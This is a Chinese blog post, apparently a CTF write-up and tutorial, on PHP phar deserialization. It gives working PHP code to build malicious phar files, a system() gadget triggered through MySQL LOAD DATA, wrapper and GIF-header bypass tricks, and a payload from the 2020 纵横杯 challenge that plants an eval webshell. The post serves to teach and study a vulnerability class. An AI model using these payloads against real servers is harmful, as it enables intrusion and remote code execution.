mysql 反序列化函数_phar反序列化

本文详细介绍了PHP中的Phar反序列化漏洞,包括Phar文件结构、如何生成和利用Phar反序列化,以及相关函数的影响。通过示例展示了如何构造利用代码,并提到了过滤phar://协议的绕过方法和文件格式伪装技巧。最后,文章提到随着PHP8的发布,Phar反序列化将逐渐减少使用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

phar反序列化

前段时间纵横杯遇到一题反序列化,当时队友做出来了,赛后尝试复现一下,并总结反序列化内容

phar的本质是一种压缩文件,会以序列化的形式存储用户自定义的meta-data

Phar文件结构

stub:phar文件标识,以 __HALT_COMPILER();?>结尾

manifest:压缩文件的属性等信息,以序列化的形式存储自定义的meta-data

contents:压缩文件的内容

signature:签名,在文件末尾

测试

首先将php.ini中的phar.readonly置为Off,否则无法生成phar文件,而且这个参数是无法通过ini_set()进行修改的。

生成phar文件

class TestObject {

}

@unlink("phar.phar");

$phar = new Phar("phar.phar"); //后缀名必须为phar

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

$o = new TestObject();

$o ->data = 'th1e';

$phar->setMetadata($o); //将自定义的meta-data存入manifest

$phar->addFromString("test.txt", "test"); //添加要压缩的文件

//签名自动计算

$phar->stopBuffering();

?>

打开文件可以看到,以序列化储存的文件

d8379866ff83327ecca720bf98a55138.png

构造利用代码

class TestObject{

function __destruct(){

echo $this->data;

}

}

$filename = $_GET['filename'];

file_exists($filename);

?>

?filename=phar://phar.phar/test.txt

76da8a28a8751e4e459b3b27a93b970c.png

成功打印结果

php的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,知道创宇总结了以下函数

684cde08d5acab1d0a3116080356a836.png

其实不止如此,只要调用了php_stream_open_wrapper的函数,都存在这样的问题,经测试,网上提供的如下函数也都可以:

exif

exif_thumbnail

exif_imagetype

gd

imageloadfont

imagecreatefrom

hash

hash_hmac_file

hash_file

hash_update_file

md5_file

sha1_file

file / url

get_meta_tags

get_headers

mime_content_type

standard

getimagesize

getimagesizefromstring

finfo

finfo_file

finfo_buffer

zip

$zip = new ZipArchive();

$res = $zip->open('c.zip');

$zip->extractTo('phar://test.phar/test');

Postgres

$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));

@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');

MySQL

LOAD DATA LOCAL INFILE`也会触发这个`php_stream_open_wrapper

class A {

public $s = '';

public function __wakeup () {

system($this->s);

}

}

$m = mysqli_init();

mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);

$s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);

$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;');

再配置一下mysqld。(非默认配置)

[mysqld]

local-infile=1

secure_file_priv=""

Trick

过滤phar://协议的绕过方式

compress.bzip2://phar://

compress.zlib://phar:///

php://filter/resource=phar://

文件格式绕过

class TestObject {

}

@unlink("phar.phar");

$phar = new Phar("phar.phar");

$phar->startBuffering();

$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头

$o = new TestObject();

$phar->setMetadata($o); //将自定义meta-data存入manifest

$phar->addFromString("test.txt", "test"); //添加要压缩的文件

//签名自动计算

$phar->stopBuffering();

?>

增加了GIF89a文件头,从而使其伪装成gif文件

220804c8f2cd7bba87c7858f3d8acc54.png

例子

2020纵横杯hello_php

文件泄漏下载

config.php

000b13177ec8ace3d7d68e12d4bed19f.png

发现后台用户名密码登陆后台

登陆后发现上传接口

0863f89d3f7a2e4deca70eea7225e352.png

class.php

存在phar://反序列化漏洞

d689f6cf1f508f8570e4060fe989256b.png

Payload

class Config{

public $title;

public $comment;

public $logo_url;

public function __construct(){

$this->title= 'th1e\';echo success;@eval($_POST['th1e']);?>';

}

}

$phar = new Phar("aaa.phar"); //后缀名必须为 phar

$phar->startBuffering();

$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');

$object = new Config;

$phar->setMetadata($object); //将自定义的 meta-data 存入 manifest

$phar->addFromString("a.txt", "a"); //添加要压缩的文件

//签名自动计算

$phar->stopBuffering();

上传记录时间戳得到文件名

Index.php

发现函数file_exists

8744a60890af5419f12d434c4a8eb362.png

hello_php/index.php?img=phar://static/457b8d1367383f104cc8e3f8f3bf15d1.jpg/a.txt

此时在看config文件已经写入一句话

2b2c68311fe105cb8a5dbbf799eba314.png

蚁剑连接

d7aea706b310993a0cefc046b62ac510.png

总结

PHP很多框架中文件操作函数使用频繁,Phar反序列的点很多,但随着PHP8的诞生,phar不再进行反序列化,以后phar反序列化也将逐渐淡出人们的视野。

Reference

https://blog.csdn.net/qq_42181428/article/details/100995404

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值